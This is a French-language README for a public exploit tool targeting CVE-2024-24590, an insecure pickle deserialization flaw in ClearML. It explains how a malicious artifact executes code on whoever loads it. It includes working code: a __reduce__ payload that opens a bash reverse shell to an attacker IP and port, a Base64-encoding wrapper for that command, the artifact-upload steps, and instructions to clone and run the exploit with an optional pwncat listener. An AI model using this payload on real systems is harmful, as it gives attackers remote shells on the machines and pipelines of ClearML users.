CVE-2024-24590 – ClearML RCE via une désérialisation non sécurisée d'artefact pickle (0.17.0–1.14.2)
| Champ | Détails |
|---|
| CVE | CVE-2024-24590 |
| Logiciel | ClearML |
| Versions affectées | 0.17.0 – 1.14.2 |
| Vulnérabilité | Désérialisation non sécurisée de Pickle pour les artefacts de tâche |
| Authentification | Nécessite un accès en écriture à un projet ClearML |
| Impact | Exécution de code à distance sur toute machine qui charge l’artefact |
| Testé sur | Ubuntu 22.04, Python 3.9+ |
ClearML est une plateforme MLOps utilisée pour suivre les expériences, gérer les ensembles de données et partager des artefacts (modèles, fichiers, objets) entre les membres de l’équipe. Lorsqu’un artefact de tâche est téléchargé en tant qu’objet Python, ClearML le sérialise avec le module pickle de Python. Lorsqu’un autre utilisateur télécharge et charge cet artefact, ClearML le désérialise — également avec pickle — sans aucune vérification d’intégrité ni liste blanche de classes.
Un attaquant disposant d’un accès en écriture à un projet ClearML partagé peut télécharger un artefact malveillant contenant une méthode __reduce__ surchargée. Tout membre de l’équipe ou pipeline automatisé qui récupère et charge cet artefact exécutera la charge utile de l’attaquant lors de la désérialisation, réalisant ainsi une exécution de code à distance sur sa machine.
Le module pickle de Python est fondamentalement dangereux pour une entrée non fiable. La méthode magique __reduce__ d’une classe contrôle la manière dont elle est reconstruite pendant la désérialisation — elle peut retourner n’importe quel appelable et arguments, y compris os.system :
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
Lorsque l’objet est picklé puis unpicklé, Python appelle os.system(cmd) dans le cadre de la reconstruction de l’objet — avant que l’appelant n’ait la moindre chance d’inspecter l’objet.
Attaquant (accès en écriture au projet)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
Le serveur ClearML stocke l’artefact comme un blob binaire picklé
│
▼
La victime récupère l’artefact (pipeline automatisé / revue manuelle)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ est déclenché → os.system(reverse_shell_cmd)
│
▼
Un shell inversé se connecte à l’attaquant
La commande du shell inversé est encodée en Base64 avant d’être intégrée pour éviter les problèmes de citation de shell dans la chaîne sérialisée :
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Prérequis : clearml, pwntools, colorama
python3 exploit.py
Le menu interactif guide en deux étapes :
Étape 1 — Initialiser ClearML (option 1)
Exécute clearml-init pour configurer les identifiants pour le serveur ClearML cible. Sauvegarde d’abord tout fichier ~/clearml.conf existant.
Étape 2 — Exécuter l’exploit (option 2)
Demande :
Optionnellement, démarre un écouteur pwncat automatiquement avant de télécharger l’artefact.
